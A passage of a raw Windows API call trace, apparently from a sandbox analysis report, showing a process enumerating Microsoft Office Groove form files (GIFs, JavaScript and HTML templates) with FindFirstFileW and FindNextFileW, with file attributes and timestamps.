ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2577, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="FORM_E~1.JS")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa52f, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="MACROP~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="PUBLIC~1.JS")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="RTF_AL~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="RTF_AL~2.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="RTF_BU~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="RTF_CE~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="RTF_CH~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="RTF_CH~2.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="RTF_DE~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="RTF_HY~1.GIF")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="RTF_IN~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="RTF_IT~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="RTF_JU~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="RTF_PR~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="RTF_SP~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="RTF_UN~1.GIF")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14307, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2095, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 1 [0203.633] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 0 [0203.633] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0203.634] GetProcessHeap () returned 0x550000 [0203.634] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.634] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0203.634] GetProcessHeap () returned 0x550000 [0203.634] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0203.639] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.643] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3c400, ftCreationTime.dwHighDateTime=0x1ca5dc0, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77e3c400, ftLastWriteTime.dwHighDateTime=0x1ca5dc0, nFileSizeHigh=0x0, nFileSizeLow=0x14484, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="FORMSB~1.HTM")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x829, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="FORMSB~2.HTM")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="FORMSC~1.HTM")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="FORMSF~1.HTM")) returned 1 [0203.644] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69fe8900, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69fe8900, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x13c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplateRTL.html", cAlternateFileName="FORMSF~2.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="FORMSI~1.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52942450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="FORMSM~1.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="FORMSP~1.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x797dd200, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x797dd200, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x4709, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplateRTL.html", cAlternateFileName="FORMSP~3.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="FORMSP~2.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e4800, 